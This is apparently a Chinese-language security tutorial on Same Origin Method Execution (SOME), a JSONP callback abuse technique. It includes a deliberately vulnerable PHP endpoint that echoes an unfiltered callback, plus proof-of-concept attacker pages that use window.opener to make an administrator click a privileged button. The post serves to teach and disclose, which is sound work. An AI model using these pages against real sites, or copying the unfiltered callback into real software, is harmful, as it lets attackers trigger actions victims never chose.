0x00 什么是Same Origin Method Execution

先贴一篇paper,这个是Ben Hayak在Black Hat Eorope 2014演讲的题目,是关于如何利用JSONP之类的callback执行方法,特别是在对callback的参数名进行过滤之后的情况下。

我们都知道,JSONP可以利用callback的特性,来跨域传输数据,毫无疑问也可以同域间传递数据。我们试着考虑一下这种场景,某个网站在编辑文章的地方提供了一个颜色选择器,用来调整文字颜色,这个颜色选择器是一个弹出的窗口,通过一个callback参数与原页面进行通信,具体一下可能是下面这样:

http://a.com/color.php?callback=get_color

color.php的部分内容可能如下:

<script>
function get_color(data) {
    // todo here
}
</script>

也就是当访问color.php?callback=get_color之后,会在当前页面执行get_color函数,进行数据处理之类的操作。如果开发者不注意的话,就会出现安全隐患。我们可以利用这个callback的缺陷,来执行用户不期望的敏感操作。注意一点,这并不是CSRF,一旦CSRF有了token就无法利用了(在不考虑同源XSS的情况下),但是SOME却是可以绕过这种限制进行敏感操作。

但是这种漏洞也是有着利用限制的,这个JSONP如果返回了类似Content-T ype: application/json的值,是无法利用的,因为这段代码并不会执行。通常情况下只有返回Content-Type: text/html才有利用的机会。有个较为简单的判断方法,当修改了URL中的callback值后,看看console中是否会有类似找不到方法xx未定义的方法xx之类的提示,如果有的话,可以简单的认为,这个callback对应的函数会被执行。

0x01 利用前的理论基础

在JavaScrip中,我们可以通过window.open()方法打开一个新的窗口,而且新窗口与原窗口是可以互相交互的。

page1.html

<script>
    var win1 = window.open("page2.html", "_black");
</script>

page2.html

<script>
    var bodyElem = window.opener.document.body;
</script>

从上面的代码可以看出,原页面可以通过变量获取到新页面,而新页面又可以通过window.opener获取到原页面,这也为SOME提供了利用基础,当然前提条件是page1page2需是同源。

我们有了一个可以执行任意方法的接口,又知道了可以通过opener获取到原页面,那么我们就可以利用这种特性让用户进行他们不愿意的操作。

0x02 利用流程

  1. 准备一个some.html页面
  2. some.html打开some2.html页面
  3. some.html跳转到目标页面(含有敏感操作dom的页面,例如含有点一下就删除订单、点一下就增加用户之类的敏感操作的页面)
  4. some.html跳转完成后,让some2.html跳转到发现的JSONP接口,并将callback修改为我们的payload
  5. 利用完成。

光这样看起来会感觉很难过,我把相关文件的代码贴出来。

info.php,JSONP接口,获取用户信息;

<?php

$callback = empty($_GET["callback"]) ? "jsCallback" : $_GET["callback"];

$data = [
    "username" => "lightless",
    "avatar" => "http://cdn.lightless.me/images/01.jpg",
];

$data = json_encode($data);

echo "<script>";
echo $callback . "(" . $data . ")";
echo "</script>";

secret.html,含有敏感DOM的页面,其中有个敏感按钮,点击会触发一些操作

<html>
<body>
<form>
    <button onclick="cc()">Secret Button</button>
    <label>Access Token: </label>
    <input readonly value="abcdefg">
<br>
    <label>Secret Token: </label>
    <input readonly value="123456">
</form>
<script>
    function cc() {
        alert("cc click!");
    }
</script>
</body>
</html>

上面两部分假设分别是http://b.com/user.php?callback=view以及http://b.com/secret.html,其中secret.html中的内容以及按钮只有管理员才可以查看与操作,其他人是无权查看的。我们的目标就是『让管理员点击Secret Button按钮』。

接下来我们构造POC。首先要有个same.html,他负责打开新的页面,并且将当前页面重定向到含有敏感DOM的页面即secret.html

same.html

<script>
    function start_some() {
        window.open("some2.html");
        location.replace("http://b.com/secret.php");
    }

    setTimeout(start_some(), 1000);
</script>

最后的same2.html页面,需要等待same.html重定向完成后,重定向到JSONP接口,利用这个接口对window.opener(现在已经变成了b.com/secret.html)执行操作。

same2.html

<script>
    function attack() {
        location.replace("http://b.com/info.php?callback=window.opener.document.body.firstElementChild.firstElementChild.click");
    }

    setTimeout(attack, 2000);

</script>

这样当用户访问http://attacker.com/same.html的时候,实际上已经执行了b.com上的敏感操作。我这里录制了一段视频来演示这个利用过程:https://c1.lightless.me/SOME-VIDEO.mp4,需要的同学可以自取。

PS: SOME的作者在另外一场安全会议上的演讲,感觉比BHE2014讲的好很多:https://www.youtube.com/watch?v=OvarkOxxdic